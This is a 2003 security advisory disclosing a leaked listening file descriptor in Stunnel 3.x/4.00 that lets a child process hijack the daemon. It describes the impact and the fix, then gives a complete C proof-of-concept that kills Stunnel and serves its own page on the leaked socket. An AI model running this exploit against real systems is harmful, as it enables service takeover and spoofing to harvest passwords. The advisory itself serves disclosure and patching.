|
Product: Stunnel Versions: <= 3.24, 4.00 URL: http://stunnel.mirt.net Impact: Daemon Hijacking Bug class: Leaked Descriptor Vendor notified: Yes Fix available: Yes Date: 09/03/03 Issue: ====== Stunnel leaks a critical file descriptor that can be used to takeover (hijack) stunnel's service. Details: ======== Recently, several vendors updated Stunnel-3.22 to fix a remote denial of service caused by the SIGCHLD handler doing memory allocation. This wasn't the worst problem with Stunnel-3.22 in my opinion. About a year ago, I did a code review and found the signal handler problems and reported it. I then ran env_audit against Stunnel to see if there were any other problems. Unfortunately, I found a couple leaked file descriptors. One of these is the file descriptor returned by listen. The bug was caused by not making a call to fcntl with the CLOEXEC flag to prevent the leak of a privileged file descriptor. Shortly after the problem was reported, Stunnel-4.01 was released. A month later I looked at 3.22 and saw that it was leaking the same things as 4.00 was. I have not tested versions prior to 3.22, but I suspect the bug is in anything lower than 3.22, too. Even though the 4.x branch had the file descriptor leak fixed, no fix was back ported to the 3.x branch (which is still widely used). It should be noted that the 4.x series is a major revision with dramatic changes in syntax. Impact: ======= If Stunnel is used to tunnel any local program which could provide shell access, such as telnet, then the user's shell will also have the listen descriptor leaked to it. This means that any user with shell access could hijack the Stunnel server. Also, if you have a service whose transport layer is being encrypted by Stunnel and it is exploitable, it can be used to hijack the Stunnel server. Chrooting the service and dropping privileges may not be enough since the listening descriptor is leaked right to the child. Once they have taken over the service, they could spoof the service and collect passwords, credit cards, or other privileged information. They could also redirect the service to a different machine to run programs they don't have privileges for on the compromised machine. Exploit: ======== The technique is simple. 1) Fork so that stunnel can't find you when it dies. 2) Send stunnel a SIGUSR2. Unhandled signals generally kill programs. Since you are a child of stunnel, the OS will deliver the signal. 3) Select on the leaked descriptor and start serving pages. At the end of this advisory is a proof-of-concept program that you can run under Stunnel. It is assumed that Stunnel is providing you shell-like access (Telnet over SSL, for example), or that the program lauched via Stunnel has some exploitable condition that allows you to run arbitrary code. To run the POC code, you can execute it directly as the local program (-l argument) for Stunnel : /usr/sbin/stunnel -s nobody -g nobody -D 7 -p /etc/ssl/certs/stunnel.pem -o /tmp/stunnel.log -P /tmp/stunnel.pid -d 2222 -l /opt/stunnel-sploit/leak-sploit -- leak-sploit Then connect to stunnel like: lynx https://localhost:2222 The first time, you will get a message saying "Unexpected network read error" followed by "Document can't be accessed". Then connect again. The second time, you will see the "You're owned" message. Doing a ps -ef shows that stunnel is long gone and replaced by the example application...even though user & group were nobody. Sure its a bit contrived, but illustrates the concept. Solution: ========= The solution to this problem is to upgrade Stunnel to 3.26 or 4.04 depending on your current deployment. Both Michal Trojnara and Brian Hatch were very good people to work with to fix this problem and it was done in a timely manner. This announcement is mostly to motivate vendors to roll out the upgrades and administrators to apply them. To see if you are vulnerable, you can use the env_audit program. It comes with directions for testing Stunnel in the examples directory. http://www.web-insights.net/env_audit Best Regards, Steve Grubb The code................ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <signal.h> #include <errno.h> #include <sys/select.h> #include <netinet/in.h> #include <openssl/ssl.h> /* * The basic scheme goes like this: * 1) Get rid of the parent * 2) init the openssl library * 3) start handling requests */ /* You may need to adjust these next 3 items */ #define LISTEN_DESCRIPTOR 6 #define CERTF "/opt/stunnel-sploit/foo-cert.pem" #define KEYF "/opt/stunnel-sploit/foo-cert.pem" static SSL_CTX *ctx; static SSL *ssl; static X509 *client_cert; static SSL_METHOD *meth; static void server_loop(int descr); static void ssl_init(void); int main(int argc, char *argv[]) { int pid = getppid(); /* Need to fork so stunnel doesn't kill us */ if (fork() == 0) { /* Become session leader */ setsid(); /* Goodbye - thanks for the descriptor */ kill(pid, SIGUSR2); close(0); close(1); close(2); ssl_init(); server_loop(LISTEN_DESCRIPTOR); } return 0; } static void server_loop(int descr) { struct timeval tv; fd_set read_mask ; FD_SET(descr, &read_mask); for (;;) { struct sockaddr_in remote; socklen_t len = sizeof(remote); int fd; if (select(descr+1, &read_mask, NULL, NULL, 0 ) == -1) continue; fd = accept(descr, &remote, &len); if (fd >=0) { char obuf[4096]; if ((ssl = SSL_new (ctx)) != NULL) { SSL_set_fd (ssl, fd); SSL_set_accept_state(ssl); if ((SSL_accept (ssl)) == -1) exit(1); strcpy(obuf, "HTTP/1.0 200 OK\n"); strcat(obuf, "Content-Length: 40\n"); strcat(obuf, "Content-Type: text/html\n\n"); strcat(obuf, "<html><body>You're owned!</body></html>"); SSL_write (ssl, obuf, strlen(obuf)); SSL_set_shutdown(ssl, SSL_SENT_SHUTDOWN|SSL_RECEIVED_SHUTDOWN); SSL_free (ssl); ERR_remove_state(0); } close(fd); } } SSL_CTX_free (ctx); /* Never gets called */ } static void ssl_init(void) { SSL_load_error_strings(); SSLeay_add_ssl_algorithms(); meth = SSLv23_server_method(); ctx = SSL_CTX_new (meth); if (!ctx) exit(1); if (SSL_CTX_use_certificate_file(ctx, CERTF, SSL_FILETYPE_PEM) <= 0) exit(1); if (SSL_CTX_use_PrivateKey_file(ctx, KEYF, SSL_FILETYPE_PEM) <= 0) exit(1); if (!SSL_CTX_check_private_key(ctx)) exit(1); } To compile: $(CC) $(CFLAGS) -o $@ leak-sploit.c -lssl